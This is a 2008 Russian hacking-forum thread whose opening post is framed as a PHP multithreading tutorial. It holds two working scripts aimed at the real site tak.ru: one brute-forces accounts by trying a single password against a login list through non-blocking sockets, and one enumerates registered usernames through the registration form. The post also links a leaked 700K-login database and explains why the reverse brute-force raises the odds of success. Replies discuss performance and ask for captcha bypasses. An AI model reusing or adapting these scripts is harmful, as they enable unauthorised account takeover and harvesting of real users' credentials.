Авторские статьи Эмуляция многопоточности в php на основе брутера Tak.ru

Discussion in 'Статьи' started by !{ra!{e/\/, 17 May 2008.

  1. !{ra!{e/\/

    !{ra!{e/\/ Banned

    Joined:
    27 Aug 2007
    Messages:
    98
    Likes Received:
    50
    Reputations:
    3
    Эмуляция многопоточности в php на основе брутера Tak.ru
    Теория
    Часто возникают ситуации когда требуется быстро обработать информацию. Допустим, при работе с несколькими десятками,сотнями файлов. Скорость выполнения программы можно значительно ускорить, если выполнять их в несколько потоков. В PHP нет возможности организовать реальную многопоточность, но ее можно сделать если извернуться.

    Эмуляция многопоточности
    Как пример возьмем привычную задачу – брут. Работать будем с сокетами . Многопоточность “симулируюм” с помощью пула не блокирующих сокетов. Брутить будем пароли от учетных записей Tak.ru. Комменты и обьяснения в самом скрипте. Ответ скрипта на правильную пару login+pass “302 Found”(этого нам достаточно).Для работы скрипта создадим файл logins.txt с логинами в той же категории. Максимальное число потоков не рекомендую ставить слишком большим.
    PHP:
    <?php
    $max_threads 
    5;//Максимальное количество потоков
    set_time_limit(320); // лимит времени на выполнение. Я поставил 320 сукунд
    $get_array=file("logins.txt"); // массив из логинов 
    for($i=0,$cnt=count($get_array);$i<$cnt;$i++)  // удаляем символы перевода каретки
    {
      
    $get_array[$i]=trim($get_array[$i]);
    }
    $pass="pass"// пароль на который будем подбирать логины
    $f=fopen("pass_list.txt",'w'); // сюда будем записывать сбрученные логин+пасс
    echo("Всего запросов: " count($get_array) . "<BR> Поехали! <BR>");
    $sockets = array(); //В этом массиве находятся открытые сокеты
    $done false;// Флаг $done используется для остановки скрипта после выполнения работы
    $curr 0// $curr - будет текущим элементом из всего массива запросов
    while (!$done)
        {
        while ((
    $max_threads count($sockets)) && ($curr count($get_array))) // Если количество активных сокетов меньше константы и $curr не превысил допустимые нормы, то запускаем скрипт, который создает недостающее количество сокетов
            
    {
               
    $packet.="POST /enter.php HTTP/1.0\r\n";
            
    $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/pdf, application/x-shockwave-flash, */*\r\n";
            
    $packet.="Accept-Language: ru\r\n";
            
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
            
    $packet.="Host: web.tak.ru\r\n";
            
    $packet.="Content-Length: 52\r\n";
            
    $packet.="Pragma: no-cache\r\n";
            
    $packet.="Connection: Keep-Alive\r\n\r\n";
            
    $packet.="login=$get_array[$curr]&password=$pass&Submit=++OK++&z=enter_form";
        
            
    $errno 0;
            
    $error "";
            
    $sockets[$curr] = fsockopen("web.tak.ru",80);// открываем новый сокет
            //stream_set_blocking($sockets[$curr], 0);
            
    stream_set_timeout($sockets[$curr], 3600);
            
    fputs($sockets[$curr], $packet);// Посылаем в этот сокет наш запрос
            
    echo("Создан сокет: " $curr "<br>");
            
    $curr $curr 1;// Переходим к следующему элементу массива
            
    unset($packet);
            }
    ////sleep(1);// Чтобы не сильно загружать сервер будем проверять данные по всем сокетам через 1 секунду
    foreach($sockets as $key => $val
        {

        
    $temp[$key].= fgets($sockets[$key],50); // Получаем данные из текущего сокета [ данных может и не быть ] 50 нам достаточно чтоб определить правильно или нет(экономим трафик и время)
            
    echo $temp[$key];
        unset(
    $sockets[$key]); //то удаляем отработавший сокет из массива
        
    echo("Удален сокет: " $key "<br>");
        
       }
    ///echo("Сейчас обрабатывается: " . count($sockets) . " сокетов<BR>");

    // если нет активных сокетов, то можно выходить
    if (count($sockets) == 0$done true;
        }
    foreach(
    $temp as $key => $val
    {
       if ((
    strpos($temp[$key],"302 Found"))>0) { fputs($f,$get_array[$key].":".$pass."\r\n"); echo $get_array[$key]  $pass-- Пароль правильный";}
      else echo 
    $get_array[$key]  $pass--Не правильный пароль ";
       }
    fclose($f);
    echo(
    "<br> Конец");
     
    ?>

     
    В дополнении
    Чтоб приступить к бруту нужны базы логинов. Если просто в logins.txt вписать какую нибудь базу логинов то работать все же будет но это будет неудобно,больше ненужных запросов т.е трафика и времени поэтому в приложении выкладываю скрипт для отсеивания логинов.
    Для работы скрипта создаем файл logins.txt с базой логингов. После завершения работы скрипта зарегистрированные логины отсеются в файл regger_logins.txt

    PHP:
    <?php
    $tak_names
    =file("logins.txt");

    for(
    $i=0,$cnt=count($tak_names);$i<$cnt;$i++)
    {
      
    $tak_names[$i]=trim($tak_names[$i]);
    }
    echo 
    "Начало работы";

    $f=fopen("regger_logins.txt",'w');
    foreach(
    $tak_names as $key => $val
    {
    $packet.="POST /registuser.php HTTP/1.0\r\n";
    $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/pdf, application/x-shockwave-flash, */*\r\n";
    $packet.="Accept-Language: ru\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="Host: web.tak.ru\r\n";
    $packet.="Content-Length: 136\r\n";
    $packet.="Pragma: no-cache\r\n";
    $packet.="Cookie: PHPSESSID=7d60872b57f6dea13ff6eba120cf8e12";
    $packet.="Connection: Keep-Alive\r\n\r\n";
    $packet.="login=$tak_names[$key]&name=13&email=sed@rambller.ru&password=123456&passwordtoo=123456&reg=%C7%E0%F0%E5%E3%E8%F1%F2%F0%E8%F0%EE%E2%E0%F2%FC%F1%FF";
    $ock=fsockopen("web.tak.ru",80);
    fputs($ock,$packet);
    $html='';
    //while (!feof($ock))
    //{
    $html.=fgets($ock,1000);// этого достаточно
    sleep(0.05);
    //}
    echo $html."   <br>  ";

    fclose($ock);
    unset(
    $ock);
    unset(
    $packet);
    echo 
    "<br>";
    if ((
    strpos($html,"302 Found"))>0) echo "$tak_names[$key] Не зарегистрирован";
    else { 
    fputs($f,$tak_names[$key]."\r\n"); 
          echo 
    "$tak_names[$key] Зарегистрирован ";
          }
    }
    fclose($f);
    ?>

    В заключении
    Почему я подбираю логины к паролю а не наоборот? При восстановлении пароля tak.ru высылает свой пароль из 7 символов содержащих цифры и буквы латинского алфавита(нижние регистры), это увеличивает вероятность(шанс) на подбор.
    Скрипт полностью работоспособный, писал сам.
    Базу логинов можно скачать отсюда http://slil.ru/25776569 700К логинов(за базы спасибо AdReNa1!Ne).
    Целью моей работы было показать один из способов увеличения скорости работы в PHP.
    (судить не строго моя первая сатья)
     
    8 people like this.
  2. fucker"ok

    fucker"ok Elder - Старейшина

    Joined:
    21 Nov 2004
    Messages:
    578
    Likes Received:
    274
    Reputations:
    91
    Ох. Сейчас опять начнется хоули варз... :)

    Имхо. Что-то похожее было. Не помню к чему тогда пришли дебаты. Думаю что это все-равно будет в раз медленнее.
    Code:
     $sockets[$curr] = fsockopen("web.tak.ru",80);
    Обращение по домену. Если DNS говеный, то будет подвисать.
    Особо в код не вчитывался, как понял вначале отсылаем посты, потом получаем. Опять же, если где-то заступорит, то вся "многопоточность" здохнет. :'(
     
    #2 fucker"ok, 17 May 2008
    Last edited: 17 May 2008
    1 person likes this.
  3. !{ra!{e/\/

    !{ra!{e/\/ Banned

    Joined:
    27 Aug 2007
    Messages:
    98
    Likes Received:
    50
    Reputations:
    3
    ..если я правильно понял где-то то если и не писать многопоточный то скрипт здохнет....а если где-то касается именно "многопоточности" то все будет работать хорошо...
     
  4. !{ra!{e/\/

    !{ra!{e/\/ Banned

    Joined:
    27 Aug 2007
    Messages:
    98
    Likes Received:
    50
    Reputations:
    3
    В этом случае оно так потому что мы не читаем все ..нам достаточно первых 50 при этом зависание маловероятно....
    Если надо будет читать полностью то
    PHP:
    как понял вначале отсылаем постыпотом получаем
    это чуть перепишется не так... и будет работать на ура
     
  5. fucker"ok

    fucker"ok Elder - Старейшина

    Joined:
    21 Nov 2004
    Messages:
    578
    Likes Received:
    274
    Reputations:
    91
    Заступорить может при чтении ответа из сокета или при конверте dns в ip. (Уж не знаю, есть ли там встроенное кеширование)
    Например тут fgets($sockets[$key],50);
     
    #5 fucker"ok, 18 May 2008
    Last edited: 18 May 2008
  6. !{ra!{e/\/

    !{ra!{e/\/ Banned

    Joined:
    27 Aug 2007
    Messages:
    98
    Likes Received:
    50
    Reputations:
    3
    К многопоточности это особо не касается....А что ты посоветуешь сделать?
     
  7. Karapuziko

    Karapuziko Elder - Старейшина

    Joined:
    20 Jan 2008
    Messages:
    32
    Likes Received:
    14
    Reputations:
    3
    отстой а не статья:(!в моа рвемся???
    ----------
    Показал бы обход капч:(, или реггер какой нить, или свой суперпупер мега эксплойт показал бы:( - скучно, мне жаль тебя:(
     
    1 person likes this.
  8. desTiny

    desTiny Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    1,006
    Likes Received:
    444
    Reputations:
    94
    Так-с... Я вот что подумал...
    А что, если собрать недетерминированный аппарат, то есть - создаём скрипт, ну, к примеру перебрающий пассы от 1 до n. А он пишет 2 файла, перебирающие от 1 до [n/2] и от [n/2]+1 до n и вызывает их, и т.д.... вот вам и многопоточность - в итоге за каждые m пассов бкдет отвечать одн файл, а все они запущены...
     
  9. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    очень старая тема, на ачате уже подобная статья была. Неблокирующие сокеты это не многопоточность, а лишь подобие.
    тоже известный способ, наибольший эффект достигается при использовании proc_open(), с помощью которого в *nix создаются чайлды. Но опять же, не смотря на парраллельность, доступа к переменным чайлдов из главного скрипта не получить, т.е. говорить о настоящей многопоточности не приходится.